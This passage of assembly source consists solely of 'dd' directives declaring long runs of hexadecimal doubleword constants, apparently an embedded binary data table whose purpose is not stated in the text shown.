1D75AA0Ah, 0E56F8086h, 54A4570Eh, 5972A100h dd 0B1766895h, 706C00CFh, 60B31325h, 23039B9Ah, 0E43FCDC8h dd 0A291392Ah, 67246300h, 0BC6F27B7h, 5653A100h, 6AC0DD21h dd 0AEA900FAh, 3F9560CDh, 772A7FB8h, 0FB05BC8Ah, 135F7E68h dd 6915C800h, 73AE167h, 0E0A57B5Bh, 0C6839029h, 41063059h dd 0D336331Fh, 0D2B60778h, 4FBFCA52h, 9D290323h, 97E177F8h dd 91A32300h, 645B755Fh, 3CB93D26h, 635E8B00h, 18E46744h dd 0B35D8C00h, 0BDC49E84h, 5CF539BFh, 0D6E4900h, 755A9C48h dd 49B1E2Bh, 8AE03F47h, 0E6DD9Fh, 9CF0274Dh, 987A122Fh dd 9A3E20C0h, 1CF47CE2h, 59D702BFh, 804008B2h, 7F09F121h dd 0EB369Ah, 1D4B6DDDh, 1A576934h, 1E6A4400h, 65759B9Fh dd 93080086h, 7B68FAD4h, 4C003C5Bh, 0CD2941C6h, 0EC587A42h dd 3E9F803h, 0C3F0191h, 0A9073892h, 2F5E2495h, 57A6B840h dd 8E566ECh, 0B51FE90Eh, 70C0047Ah, 0DFD839DAh, 0B9D40066h dd 84C23F65h, 303F388Bh, 157700B1h, 669B91D1h, 0C1902417h dd 0C0DF061Bh, 0C70021FCh, 0BED6B03Eh, 0B213C5h, 598C99D5h dd 96E60FA0h, 31332F02h, 5542F4E4h, 76F84600h, 0F5015AF9h dd 472F02FEh, 71801336h, 61D39297h, 6007DE35h, 64CABDF8h dd 3E989647h, 0EAE2E700h, 407CF073h, 0B2001498h, 0CBFD58FEh dd 0FB25A517h, 7069B0DCh, 330F2895h, 929E0264h, 0FA3F66A2h dd 8B1618h, 0B722772Eh, 45DB4492h, 0E808E41Eh, 80CD960Eh dd 0ADBAB3BCh, 0E64E223h, 0C28B8583h, 8DB2C03Eh, 610AD3A7h dd 0BFF858h, 5855A03Bh, 0FC8A1F3Ah, 3C59008Dh, 0F8ECD029h dd 751450C7h, 3792304Bh, 0FBA74079h, 0E0ED8760h, 0B07F00E9h dd 9EE1851Fh, 0A47E8091h, 28C046FEh, 434F4AB3h, 6879F1h dd 1F3C0FA3h, 0B2A51957h, 8087FF1Eh, 0F3489B07h, 0B68E5DE0h dd 4B9600A4h, 0D3C79274h, 25302AACh, 12C62049h, 50720E70h dd 1FE6894Bh, 0E80090A1h, 0EC5AD7CAh, 0CF877F7h, 0E9AF52C1h dd 0E3006DF1h, 98CF27D0h, 3A477143h, 2818665Ch, 90FA20C4h dd 6C9BE400h, 5DECB4FDh, 0B98100EAh, 74690406h, 0D2A08C29h dd 0D671C483h, 95932215h, 0DF3A7584h, 0F123079Eh, 18B7E3FAh dd 52EA8201h, 6EC18DF0h, 9D801954h, 0DBF03BC5h, 0D87B7900h dd 38112A0Fh, 18B0A472h, 0F845EB89h, 600052B3h, 6A54D3AEh dd 6E29A079h, 0C3AC48D5h, 5F00B420h, 70A896AEh, 98E89A20h dd 788A00D5h, 46099DEh, 3105C173h, 8CBEDDAAh, 13C7EC00h dd 6E3554Eh, 0EE49A902h, 76300905h, 0AC7320B5h, 47013A1Ch dd 6D807439h, 0FCCA57CDh, 0D5009E67h, 81F977F5h, 2E8FA4Eh dd 0FB56C290h, 88A08696h, 3F1B45BBh, 16CD5700h, 98BC0BDBh dd 36B505A6h, 6029C1D7h, 0ED0E8CCh, 0A189A33Dh, 5DD34041h dd 0A907A4E4h, 45DE333Ah, 0EBF6F6F7h, 4B860041h, 0C1A076C4h dd 550062C0h, 991B2114h, 24828715h, 4078C5F5h, 0F8B71051h dd 52744548h, 1A078078h, 0FD5011h, 0C6572997h, 0F8D5C18Fh dd 0EBD92000h, 8BF74BA8h, 4464486Ah, 0B5B40C72h, 6260C355h dd 80ABEB00h, 0DADD4183h, 267212EEh, 93804E54h, 4A310360h dd 0B57C56CCh, 3C5ED900h, 510914B1h, 266E07CFh, 431D474Fh dd 207D42F5h, 1411BC26h, 0BEC0461Ch, 1DE3C325h, 2AE03D3Ah dd 0DD0F483h, 5B83F1AEh, 7136CFB0h, 419C5D00h, 0A8A53ED9h dd 730002Bh, 0FE374F81h, 6E624E97h, 19E7321h, 0D45CB4A5h dd 3E0E5A15h, 3C72FAD5h, 0CC296FD8h, 2CA252CFh, 846C2100h dd 9761E7E3h, 33C3221Dh, 79738D00h, 3DBF5C1Fh, 86004A6Bh dd 0FF3A40EAh, 64037A13h, 78D18AB9h, 75D5E861h, 836E3A60h dd 0DB3F1060h, 300BE43Eh, 5A1D25h, 2A4AB081h, 8020C076h dd 87A52E2Bh, 0C0B11C00h, 0DD71479Dh, 50B303E5h, 58F791FAh dd 0EE8009ABh, 0A10016DEh, 0D51F866Eh, 0E9C342h, 98E32085h dd 78A0199Eh, 4D15A07h, 56802632h, 1617B1Eh, 0DCB27EA6h dd 0E0177FA5h, 0F7CD603h, 400CBC20h, 59015C81h, 59FAB31h dd 9CD8654Ch, 38B11DD6h, 1E43001Ah, 0B6ABF9ECh, 0BA1CC500h dd 0B1D7C14Dh, 0E9600D8h dd 6FF2E80Bh, 0CA3AE7A8h, 0CE7C105Bh, 69A08300h, 565C8401h dd 7D140600h, 76E2F449h, 0F1150027h, 5ED518Fh, 0AB03E430h dd 0E51777DBh, 0AC8CE0F7h, 3BB63A31h, 81CE381Eh, 0E82E2743h dd 0DCA1D92Bh, 92228795h, 897A00F9h, 0EFB16705h, 0F303F15Dh dd 3C513775h, 0B349E869h, 4BE900C8h, 0D4C524D9h, 3F73CA1Ch dd 5FF0B000h, 26D155D2h, 3E3CE8A3h, 0E180DF9Bh, 1415BBC0h dd 39B03DFAh, 0B831D07h, 0A3F0214Eh, 0F2BCE9E6h, 5096614Ah dd 0C8F6362Ah, 92F2882Eh, 0EAFB2400h, 31B5BA6Eh, 185E630Ah dd 61008B71h, 7F11B4ACh, 167490D6h, 584421Bh, 0C1975401h dd 80E2376Bh, 74616E59h, 1841E135h, 19BBD25Bh, 5100871Eh dd 94781664h, 0CE46B53h, 0A53D19C1h, 0F400C520h, 0F5236089h dd 35C4BE95h, 86089471h, 140220A4h, 829B6051h, 1A1DE043h dd 8E2300BFh, 0BAFAC4A7h, 69056F96h, 27B128F0h, 89D89C1Bh dd 0A4505008h, 0A685BCh, 0F533EE86h, 0D80D5999h, 26605798h dd 55FB9520h, 0A4253FD6h, 165F7A0Eh, 37B277E1h, 708987F8h dd 0BB51E97Fh, 0E7ED7496h, 592EE087h, 6F2C40D5h, 761851DDh dd 0F6C92FB2h, 0FCBA0E10h, 0C7A7C102h, 407082AAh, 0F9D97483h dd 853BA17Fh, 4DA60135h, 0EF88671Fh, 53F20422h, 0F2CC7931h dd 0D6570A6Dh, 19412AAh, 3151ED43h, 2A28809Eh, 87140A65h dd 60DA5838h, 8F26374h, 2000D609h, 186F3CF8h, 0FEE1363h dd 72052759h, 1FB37420h, 38583DB2h, 5FC50027h, 0E1913FACh dd 0E5100084h, 0F6715B9Ah, 671509CBh, 0F0AF1Bh, 0B79D1AF9h dd 9BFAE22h, 5C5DA1B5h, 0CA933401h, 2AA040FEh, 546010EAh dd 8F2C87F1h, 23E0000Ah, 0B7909372h, 0E70A1250h, 0EC071524h dd 7255FC60h, 0D80B21EDh, 29E488h, 3D56175Ch, 68501C83h dd 98A93FB9h, 0C74AFCEBh, 267B2000h, 0E8E2A951h, 9C7E00EFh dd 4DF9070Fh, 3F64824Ch, 0AC8063B9h, 6013EBE5h, 0DFC88BCh dd 650BF1DBh, 53CFF6h, 0C9BD1DE0h, 0AAE203E9h, 0EECBBC4Dh dd 0C6212008h, 0D75A0FA2h, 85F4D140h, 2B0026B9h, 0FBA4039Fh dd 53236Dh, 58261B4h, 39C9D2E6h, 4A13F603h, 0EB2E34DDh dd 0D9713A6Bh, 400CF515h, 82A20D79h, 278AD1Dh, 0AF22CA40h dd 411400C0h, 101FCF87h, 3E396FE4h, 4E7800F1h, 3223AF1Fh dd 7F3809D2h, 0FB0F5CC8h, 0CDFD1680h, 35181F36h, 0A071E7D8h dd 0DC010631h, 496BA96Ah, 0B5FDCC00h, 5D0BADCEh, 2481242Bh dd 6E4C00A6h, 84171471h, 0AD6B8D00h, 0E4A988D3h, 93E93F53h dd 0F6547680h, 492CC40h, 0DFBBCA06h, 5937A6h, 3DCB8172h dd 2CA4B7DDh, 5FB0E81Dh, 3A739E00h, 60765EBBh, 7E32996Ah dd 3B03C2EFh, 47333963h, 6F1800F0h, 0DB08B91h, 0C90CF584h dd 82046E6h, 585C7905h, 0B00E766Fh, 8760F434h, 0DB6E0295h dd 67363900h, 9C08DD48h, 245B1BE5h, 60105066h, 0D1C0445Dh dd 85840FB0h, 21BD6F8Ch, 0DC00F9DCh, 777857A9h, 0D803221Fh dd 7F7EA3BCh, 0FB701599h, 3400D8D1h, 0CC4D7CAAh, 49F854F4h dd 6FCEF102h, 40509F09h, 7B948208h, 26EE0E8h, 0DBF6A90h dd 0D6006FE7h, 0E8863610h, 630F0076h, 66982683h, 20D471E0h dd 6236015Dh, 8CE8BC2Ch, 0A8338DD4h, 1B3F184h, 43D4DBA8h dd 402FC174h, 0AF361CC8h, 0D0183C0Fh, 400912C9h, 918015FBh dd 34D880CDh, 0C13538h, 5FEC8349h, 656E03C3h, 541B5158h dd 0DEF6E774h, 0CE1F8890h, 6BC1EF17h, 0F0B6C82h, 0A8408844h dd 0CFED3F1h, 0B95B63A7h, 98B894C5h, 467AAAEFh, 3B02EC1Fh dd 22313998h, 0F9C7CF4h, 0BC62CBB4h, 0AB1FFED8h, 0EC587B60h dd 0DFB7E931h, 207F0682h, 68C8186Ch, 701FC711h, 3B32EF7Bh dd 21C36086h, 4AA4872Bh, 76286400h, 0D33261C8h, 648D39Fh dd 58D7AC22h, 3CBFCA03h, 901B4E0Dh, 181D2ED0h, 885D5E8Eh dd 0E800C594h, 429A5A4Ch, 0FA76AE2Ch, 0D4100DEh, 9F8278B9h dd 5C000216h, 0DF86B64Ch, 5EAA5C1h, 14E81AA9h, 1D77C0BFh dd 0C800E936h, 7185A710h, 3BFDA181h, 798004F8h, 114ACDB3h dd 27002488h, 0E197CA3Ah, 9F63B5h, 0D2EA153h, 61F2CEC6h dd 2621DA00h, 92496A4Eh, 77E7591h, 9BF01BA7h, 0DEA927E8h dd 0DDB09EA0h, 0D300ABAFh, 5FB4F18Ah, 4BE4D9h, 72390EE1h dd 95C688DFh, 0EEEF8200h, 8C38B975h, 1F3FE6AAh, 40FB2171h dd 0A301518Eh, 5A73AC53h, 5BF4500h, 7E848092h, 0F19D0071h dd 20A82F79h, 0D5003123h, 5A4FCEA5h, 5B124h, 0F95CB91Dh dd 0F7E1566Ah, 0C05F0606h, 0C8F361h, 0C3C43757h, 4745F272h dd 0AE065794h, 1F20E664h, 790CD8Ah, 835CA758h, 9AD05388h dd 860C7ECEh, 60D8E0BFh, 4DDF07E5h, 676957E1h, 284C40AAh dd 0E4079EABh, 0E3C6020Bh, 6F075B70h, 0ACF6FEh, 54D7A1B1h dd 89461E81h, 90367B04h, 0B786A59Bh, 4BF5210h, 0F43088BCh dd 626310F5h, 3B53E69Eh, 0B3CCA38Ch, 88819F03h, 0F99B407Dh dd 89F8F5B3h, 68629AE2h, 21399F28h, 7E5C06h, 41405DDh dd 68818954h, 37FB0438h, 0C8ED6F47h, 1F28D114h, 52C2276Ah dd 61F78Ch, 9DFEA23Ah, 80638A38h, 0CD594376h, 72F627Eh dd 16A65B96h, 80834493h, 5CE46B39h, 7E05E307h, 74504D54h dd 1F38881Ah, 0F64230Ch, 0BA002BC0h, 0EA628391h, 0C1D1F7A0h dd 10C4240Fh, 0AA1B87BDh, 0E81D1AF3h, 265CD302h, 395FDF82h dd 1F57F880h, 54328C11h, 58F4F500h, 6684BF53h, 0E0DC00BBh dd 31106495h, 9400CE57h, 8D4C090Dh, 0A083A9h, 0B86AB282h dd 8121FB91h, 8620DF00h, 5EE49650h, 0A2020053h, 66B98872h dd 42241039h, 1E00E137h, 0D398D989h, 15140373h, 305B618Ch dd 72B19390h, 0EA54B20Eh, 0F22B4085h, 12FE43Fh, 29C77A5Fh dd 40A86252h, 6F4DCF0h, 8036ED3Eh, 51460141h, 48829A8Eh dd 0EB004D22h, 9299B2CAh, 0ED042B23h, 690FCB86h, 0FC8B0FBBh dd 0DABA8580h, 1F0E909Ah, 32BC6CF4h, 1C621800h, 7A7D60FFh dd 527100BFh, 58AF217Fh, 47F42A0Ah, 26FF0207h, 6A552870h dd 7C05A800h, 3FC53Bh, 62EA2E2Dh, 61AA1CE2h, 747AB800h dd 2A3646B2h, 217B16A2h, 9A5C0001h, 0BC47BE2Fh, 3F088A05h dd 0BD80C888h, 118507h, 0D91903AEh, 4820307Fh, 0F804FA04h dd 708088FDh, 7B5628F5h, 947B5Dh, 0AA84458Bh, 0BE35C1AEh dd 96241200h, 0B2130B9Dh, 0A188000Fh, 43BD94Dh, 4100B5D5h dd 34C2A4F8h, 3B77273h, 0E0A842A9h, 93807A9Eh, 4E00015Ch dd 6776A73Fh, 33B3DB9h, 858B562Ah, 52E2540Eh, 0B4CA88C0h dd 0BC59020Eh, 6C366021h, 5E103h, 0B3DFADBFh, 151A8E56h dd 927AB707h, 3F406D30h, 0B1AE62h, 5E3BC166h, 1020A05Fh dd 14607400h, 0E6947F85h, 0DB9E0086h, 0FD50981Fh, 4E00FB79h dd 45254F09h, 136A1558h, 506A823h, 80538A52h, 32CC93F7h dd 0E928951Fh, 0C2C07C03h, 8738B057h, 274600F4h, 1C4DA9B8h dd 0A8008D6Ah, 354F6C83h, 637FC5h, 2D9D725Fh, 62D40E57h dd 7A07ED7Fh, 1773DCFCh, 15F02557h, 772FF0h, 0F583A1F4h dd 0F2E1084Dh, 9A6D2600h, 7595EDB8h, 0BDE41DDAh, 30E681A0h dd 0DCEE3494h, 26007154h, 0F4ED33Dh, 0C3BA62h, 0B6A90919h dd 1F33C061h, 0D09E5500h, 350B6076h, 0EEFA1D05h, 65ADC02Ch dd 0ABC446B7h, 6BB2C107h, 3D4063D3h, 132519Fh, 1369FF5Fh dd 7068FD79h, 0FE0E1816h, 29B66A55h, 0DF9806Bh, 0E2132A7Bh dd 82B80F1Bh, 0ABA7DF0Eh dd 2C0DE95h, 4B45BF76h, 0FF23F207h, 0BC40642Ch, 0F8FC6Dh dd 0E319BD4Dh, 0E26F7388h, 11E9B600h, 0EB90A3Ah, 0A860006Dh dd 1EA9548Fh, 0B600C870h, 2A3872D0h, 34BE19E7h, 0C780F253h dd 9DE5078h, 1D012FEBh, 457FCA77h, 9EF8DD97h, 67343h, 83EF0BCEh dd 0F4A005A5h, 427E1100h, 0BD4A46D9h, 0F16101F0h, 0E5102E49h dd 0DBEF062h, 0D5E1D80Fh, 1AEE40ACh, 62928h, 79182BC2h dd 3F05651Fh, 0A784DA00h, 0B03599FDh, 3080012Fh, 0ACD99E34h dd 0A1A9F089h, 5B78DA2Ch, 98CBBE00h, 3E871AD0h, 0A605552Bh dd 0B44D07h, 25C49CBFh, 0C100A89Fh, 0CA43E783h, 0D31B93h dd 0F6AD74BEh, 84233F13h, 0F3DD7700h, 7B0E5DC8h, 880C0015h dd 0C4EC2DADh, 8DB05975h, 0F4BC2400h, 0AC935649h, 0A20707B4h dd 7EB81568h, 437479A0h, 0EA0FEE64h, 60E09023h, 306A7A27h dd 6EA00072h, 0B3AD9850h, 0EB038D76h, 0F3BF493h, 20DEA890h dd 9D1E1C38h, 0ADF780E2h, 811817D0h, 5500B873h, 124D597Eh dd 0C4F6C0h, 0B410A90h, 287D8C2Eh, 4B000C7Ah, 8473271Bh dd 336B30h, 0BDAA6620h, 4DF4A121h, 0F95D8800h, 9B8FA90Eh dd 0FF0A007Fh, 2F77B563h, 6600C72Dh, 4F376ED9h, 0A7EFB7h dd 941C54EBh, 0FE0C085Dh, 43264E00h, 16B473D0h, 0C01E3DCAh dd 0B50B4B80h, 77BB7F6Ah, 3A634F03h, 0F8150FAFh, 3C6548Eh dd 6DF8730Bh, 0C2005DCFh, 334CE3D3h, 1D8F439Bh, 400F4645h dd 0F1D2E840h, 844CF46Ah, 0BA3F781Dh, 0D3758023h, 562C0EB1h dd 1C3900DFh, 3C92CA19h, 1B03829Fh, 88C603B3h, 0AB0DB811h dd 0DDF400CFh, 8284839h, 6607DB5Bh, 77ACAF78h, 0C36C3A92h dd 0CD200098h, 0FCC6255Dh, 9E001FABh, 0CF52E338h, 0F89FEBB6h dd 44BF092Dh, 6A8095A8h, 4D456B0Dh, 0E5BAEC00h, 879ABE6Ch dd 9C2100C6h, 0CF018CBh, 0D1B837A9h, 74D0B880h, 9116A300h dd 950F43A7h, 578B0098h, 0D4FE797Ah, 0E100526Bh, 901C9340h dd 9153AEh, 44275CC3h, 528E460Bh, 80865401h, 0AB7A4957h dd 8158089Fh, 59A74E2Dh, 0FE28305Fh, 9D4A8900h, 204AE1Bh dd 0F7875E5h, 77D470A9h, 68ED0320h, 0A0E21762h, 5BC50C1Eh dd 0CE5C81C0h, 2DA06A1h, 9F1BFEFCh, 39401DB8h, 3900E4D7h dd 468FF085h, 3CBF68h, 0EEC270ACh, 6D3FDC16h, 2FD06C00h dd 8BD42565h, 3D8200A1h, 0D71B3445h, 0F1005A23h, 59E5F50Ah dd 16806Bh, 0E12A516Dh, 7030B36Ch, 0D986507h, 5C77288Ch dd 9DFC285Dh, 0FFF30377h, 0EDEEBA91h, 83E993E0h, 0FA6C0300h dd 16C7E23Ah, 1DC506BDh, 38DA1BDFh, 8F663500h, 717B736Fh dd 0A6E80088h, 1ECC84C9h, 48268B3Fh, 6E067EFCh, 58B9AAh dd 0BD1DA6D2h, 11B625BAh, 0CB36A900h, 0A502C472h, 3CDBEC99h dd 0BBFEAFEh, 68E67098h, 1F00A6A2h, 47017884h, 3A0E94D4h dd 0E9E0ABAFh, 844FCCE7h, 0D5A5E8EBh, 0A8076D07h, 7031DCECh dd 65FCE690h, 8E1500A4h, 0FCA7A030h, 6602BAA3h, 294A0A6Eh dd 750A408Dh, 5CF1E21Ch, 9500CAFDh, 0F003D7B6h, 4303D577h dd 9F321408h, 6FE7F8EFh, 8CA91C31h, 87E840ABh, 52FCC4BFh dd 0B400D7E2h, 65C51DBh, 9F49FB03h, 5800DCD0h, 0DE52DF2Fh dd 66FFE1h, 0FE04443Fh, 0F9362C6h, 95B28D1Ch, 4A97ED40h dd 0B68F290h, 26C67643h, 2D3B9400h, 0D200E7EFh, 0A4CB0B8Eh dd 6D0918h, 0CF10D1DBh, 0EFE7C2Eh, 0FBF95C00h, 3DEEB1A7h dd 7B9900CEh, 0C0345077h, 8300212Dh, 434D01DCh, 0CA9CC5h dd 64B8D95Eh, 32F3D6D2h, 0FFF60400h, 59A9ADABh, 7C8E0042h dd 192C979Ch, 65EEE908h, 5400A579h, 46CCFD26h, 0FECA17E6h dd 0ECE7015h, 0B2777205h, 0EFFDBDE1h, 0ADDBDC5Eh, 1BF8397Bh dd 689CBF0Bh, 45568Eh, 6991CE10h, 2B301A48h, 92CC86EEh dd 55F60071h, 9AA0647Bh, 667EEF5Bh, 674118C0h, 0A43D90h dd 18347A2Ch, 0C35CD846h, 6B69D901h, 0DDC8F1FDh, 0A6B2ACh dd 0D62B67E2h, 0EF00BEE9h, 25B4EED2h, 1782EA7Dh, 62D878h dd 38933346h, 37009843h, 0C37B7F61h, 0C54A15Dh, 6660AA20h dd 4B18C9BAh, 9AA8216Fh, 2B6B0001h, 97A3B65Eh, 0CE00AEBEh dd 91B067C1h, 2E15FFA0h, 3A15F7Dh, 14A4850Fh, 1D39B4D0h dd 33EFE400h, 0E9C9D2F8h, 0F004249Ah, 35610024h, 0B3341D13h dd 0FA268638h, 794C9D00h, 2A70A2A6h, 4416008Dh, 0C5B898ACh dd 5F075BB7h, 0E2BF9062h, 0F48DF5A0h, 0F64D00A4h, 45F939C9h dd 6F0086CCh, 1FDB7461h, 90175902h, 58C6015Eh, 9669C5FCh dd 987080A2h, 8E92F111h, 77CC1DDEh, 0E0663Ah, 86B93C70h dd 1200B0E0h, 1EA87E63h, 247695DFh, 1E04F4BAh, 6A98F9F8h dd 38D1A83Bh, 96D23303h, 0D9C54DE0h, 289EF1EAh, 0C4884011h dd 2C82FA15h, 0CEBF0803h, 0A0DCD1E1h, 1CD9F8C9h, 80A4AF66h dd 0CBAC2C48h, 7624F413h, 7500BCEDh, 0F117C0EBh, 75077E67h dd 2D5D0324h, 6A36C695h, 35557AA0h, 4100C9F6h, 5FDB9208h dd 1FE8CAh, 0D87BB42Ah, 2247B28Fh, 0FC7C640Eh, 5302600Ah dd 0E4D51Fh, 7A1CD6A6h, 366BF9B9h, 0AD2BF401h, 0CCB28334h dd 0B82632E0h, 0D39B0117h, 2A468501h, 728EE433h, 95D11909h dd 456F80C9h, 1ED99B35h, 0CE8B8759h, 0F1805474h, 0A11F0772h dd 6EE3CD09h, 5009FDh, 9883930h, 6B91035Bh, 653D8A50h dd 0BBF914C8h, 87743B00h, 709B99F1h, 0A2813A3Eh, 0A6D06D80h dd 98324B09h, 10FB6B07h, 0BFD090F1h, 1D6DF13h, 73431EEDh dd 30927026h, 0B10CBE65h, 922E6036h, 0F66F180Ah, 44C9107Dh dd 0EC6B370Eh, 0DB1940F7h, 0E2111BF2h, 401000C1h, 4B9ED891h dd 0B0C2ED52h, 0C04909B6h, 0F2D7F8F5h, 895F09F7h, 0BA0FEFFCh dd 10847807h, 7F056020h, 0AC820200h, 46ADB6FEh, 12BB017Bh dd 8CF51D4Eh, 0A968E8A7h, 30E7E800h, 5A7E40A6h, 0F49507CBh dd 50FF3E63h, 3801C181h, 0CD0A3100h, 0EFC26F6Dh, 0D9C0EB1h dd 0D165849Eh, 958E8074h, 0D60050A0h, 36B04BE3h, 4D7902Dh dd 0E6660CC6h, 0C00080A7h, 771E550Fh, 0FAC24Bh, 36312E56h dd 859D59h, 0F62158AAh, 50E7DFAh, 260ECD70h, 20684192h dd 0E7486EFCh, 0C61B076Bh, 300122A2h, 9A776336h, 0ACA50B07h dd 5330E188h, 70C2F6Fh, 32D67F09h, 90BEE744h, 8C5EF8EAh dd 603A087Ch, 27E58EBDh, 0D9776284h, 0DED4906Fh, 23DC8078h dd 1209D700h, 6542AEC7h, 28147AFFh, 0DC6A41h, 0DECE881Ah dd 0C6F8A007h, 0F29B6B00h, 1FB0D1E4h, 0F11B0EC9h, 24C0FE65h dd 605695DDh, 0E063101Eh, 2B368FFCh, 262860EDh, 0B5C97Dh dd 0EC1AD7E5h, 0FB68A19Ah, 6AF0B100h, 1F84D6A2h, 7FE3007Ch dd 61675010h, 0D21B2ED5h, 0C019BC7Dh, 0E69DEDC4h, 20210218h dd 9BA5BE62h, 0C9F0E8C0h, 0EEA7CC00h, 0F8811396h, 6F670723h dd 955830DDh, 4EAC053Dh, 1FBE0F6Eh, 9E41CE7h, 8376C980h dd 0E31F7F0Ch, 670028D5h, 0D945CC5Eh, 346107C5h, 11AA1306h dd 8F683787h, 606A3148h, 801CAE2Fh, 0C179F7h, 0F5AD3A1h dd 0D5390DE3h, 0D71F1800h, 370599F5h, 311400ACh, 834BC5F0h dd 0E100509Eh, 3285C46Bh, 940F60h, 67B14F6Dh, 0EC20E05Ch dd 0AA7CED00h, 0E46F9629h, 3EDC03A3h, 0D72E6BC5h, 9F126CF8h dd 3A55D605h, 0F000AECCh, 0E167A2DDh, 0DAD8001Ah, 8CC5E383h dd 3D2EC732h, 7C122020h, 0B1C89400h, 7BD0EFB5h, 12E91FF5h dd 8256406Ch, 41E663C9h, 207DFBA0h, 1B00D4B0h, 6204D954h dd 0C29A6Fh dd 14EDFEFCh, 6B573D7Ch, 5CE2DE00h, 0CFF1BC16h, 1B6A3155h dd 40AB2D91h, 38C83090h, 0A14896FCh, 0DE9F0BDBh, 9320000Ch dd 0F6F78A7h, 0A5DAF36Eh, 0EF2949E0h, 9AF826FAh, 0A8D11E00h dd 3266B112h, 5B3909BBh, 0DC1007FFh, 0FD13636Ah, 400AA55h dd 716E51D1h, 26830723h, 3037C119h, 275D6A88h, 74CEB512h dd 34012401h, 0CD47C880h, 0F3E09AD0h, 987116h, 9F822792h dd 51CAA4E8h, 0E1392116h, 0D649E020h, 0A2905Fh, 8A7AB3CBh dd 6D536504h, 80141504h, 4C01E36h, 5E9585h, 0C07EA53Ch dd 9B97678Eh, 46891600h, 3D40631Ah, 23B005Ah, 60ACBA9Ah dd 280361FEh, 0AB4B667Eh, 8030B3B7h, 3A1EF3BDh, 0D303D9CDh dd 0EEA45F2Fh, 5EA83B93h, 184A6C93h, 0D6C92003h, 1F729E1Eh dd 80D00665h, 9C38AD58h, 5D07A449h, 9FCCB944h, 348094B4h dd 16EAC0h, 49C25E1Ch, 902BC5BEh, 0CFAEA000h, 73A31865h dd 83430717h, 20B41332h, 357B44B1h, 7F3C0471h, 0F7AC00B5h dd 884DFAFEh, 4542018Eh, 0E774D06Ah, 71D8FC69h, 49D4FB00h dd 0B78FC8B6h, 40A50055h, 2AEF7899h, 0AB03B825h, 0E805C9E9h dd 0DF29D044h, 0C5A8006Bh, 0EDFF1840h, 930EE073h, 0C0E9C0D0h dd 506DC6FCh, 38CD1E53h, 822F0F72h, 798C1C00h, 0A7002E90h dd 41C8D2B3h, 54091474h, 1C0A9091h, 7B8F66E8h, 23CFAF87h dd 0C34880B8h, 80007235h, 0DF8460D6h, 0A0E742C6h, 7F77E3h dd 0F096E25Bh, 0E00ACF46h, 7978893Dh, 4DC28500h, 52081FDAh dd 3F9769Ah, 9397B8F1h, 95A8C835h, 8D733DA1h, 2ECDEE3Eh dd 0E20025F5h, 8E873FE0h, 131B07C6h, 80E82953h, 0FEB0CD89h dd 4F11FB00h, 0F2A6A750h, 31AE00D5h, 0E746EEB8h, 0D4005DB9h dd 5A530B5h, 8D593Ah, 0EA8536DBh, 0F76447FAh, 92F3D409h dd 385383BBh, 0E2EBC81Fh, 415B007Dh, 6A0C8FC9h, 0C200CDFAh dd 1FC72752h, 38BC8A5Eh, 1DB0B777h, 0CA59E7AAh, 89C2EA01h dd 0BC5CD153h, 763DA0DCh, 482D58D9h, 662011h, 0A5D5E259h dd 508E34h, 0ADFB55EFh, 6720DD76h, 155EB500h, 0F0F6B205h dd 5414007Fh, 784369F4h, 6E01AB8Ah, 0D41C4595h, 0C0702ACEh dd 0DC9184h, 48A38966h, 0DD00A869h, 39656304h, 0ADA56Bh dd 0D4EC3E4Ch, 917926E3h, 0AE007B78h, 0A75B439Ch, 0F264D98Ah dd 16F400C8h, 72ACC04Fh, 60000135h, 2A9D3DC9h, 76DBD4h dd 0A5959E59h, 0A16FA4B5h, 784B030Eh, 5E4A63A2h, 0F3C0F449h dd 3B409042h, 0FF802E34h, 5B268F19h, 1202145Eh, 0A9F83829h dd 0C88E2Dh, 311EB164h, 0FAE401CBh, 0F68B62B2h, 6AE8F049h dd 2A9FE007h, 0C2005204h, 292BC29h, 33FD4381h, 0EC40594Bh dd 0B61D34C5h, 2FC0B58Eh, 523124EFh, 0B3F100F4h, 553EC104h dd 9600AAB1h, 0E3381074h, 0A58071h, 0F9689002h, 0F3C08BD9h dd 0BAA448h, 0B87DBE44h, 1C91C905h, 4045FBDAh, 34C154B7h dd 460F5FF3h, 20139E4Dh, 64D78301h, 0F8E0136h, 559F3CA2h dd 6FEE43CDh, 3B79FFC0h, 7A257F00h, 8C72BFF5h, 0B985006Ch dd 5612D03Eh, 0DB2EDDE9h, 9803665Ah, 80FE11A9h, 0E52BA39h dd 8780D6DEh, 0ECF335A1h, 9D72C029h, 88D220E0h, 5B094001h dd 4570AA8Bh, 81F100CFh, 95DFC2F0h, 0A900C5D7h, 3D45E77Fh dd 1CA48C8h, 504E3B05h, 405C9E7Ah, 0A2081C9Ch, 0BB33D71Fh dd 199F690Ch, 785850B6h, 0E6120042h, 0B315E8D3h, 59EAC9B9h dd 2A24FD00h, 0A153D57Ch, 8EFB3B96h, 0C699A880h, 0F0146A27h dd 0AD726601h, 605704F2h, 0BE8580D2h, 0DC621Ch, 0EE840107h dd 69E21983h, 0CEFC8200h, 0A82874AAh, 5E5D0CEFh, 0B091A141h dd 29636C06h, 75A78FEh, 0BE7BDA26h, 0CC99B08Bh, 51508947h dd 967F5F94h, 0BCED9500h, 37882741h, 460809FBh, 857C2E93h dd 4496DF00h, 60683BC5h, 0EEF36041h, 0E500F15Ah, 0B543505Fh dd 2E0859BCh, 12066C44h, 0E6344035h, 86C3EB31h, 38C6E330h dd 781015h, 0E7E0FB22h, 0B29B25B1h, 8DC16000h, 3EC194Dh dd 5B34283Eh, 7A1D1CB0h, 101404DBh, 17D140C6h, 3CA6A072h dd 70804898h, 0E26DA899h, 0B0FE44BBh, 3CDE8724h, 77355402h dd 64B280EFh, 724E2A04h, 0EBAB3E36h, 0C04D459Ch, 47834C5Eh dd 3373C911h, 58A0B600h, 7C59D9D8h, 44256D4h, 5C5502A1h dd 0FA5CB10Ch, 0FF044350h, 0C2D70AC0h, 6A7407DDh, 0E418C963h dd 0A9DB9Dh, 56143F20h, 863ED342h, 66707B07h, 471F2E25h dd 0C890BF60h, 0E865EC7Fh, 717F81h, 4B3ADEB9h, 0BE20AFF1h dd 0CD95B607h, 15A06D9Dh, 0FDA881h, 0EC864F08h, 0B15EBDB7h dd 3978B267h, 0B83A8223h, 0E00D9124h, 0A842006Ah, 0BEF1E290h dd 6B304907h, 55FC20A9h, 345E14BBh, 93E120A8h, 151853h dd 0FDA383BBh, 7D46FAB4h, 84FC3C28h, 975A8D07h, 24C0CBD1h dd 0E2FFD2BBh, 0D938C639h, 0A17B30FEh, 9519DE00h, 0BF819C1Ch dd 1A9F05Ah, 29C9C574h, 8C25F42Ah, 59211950h, 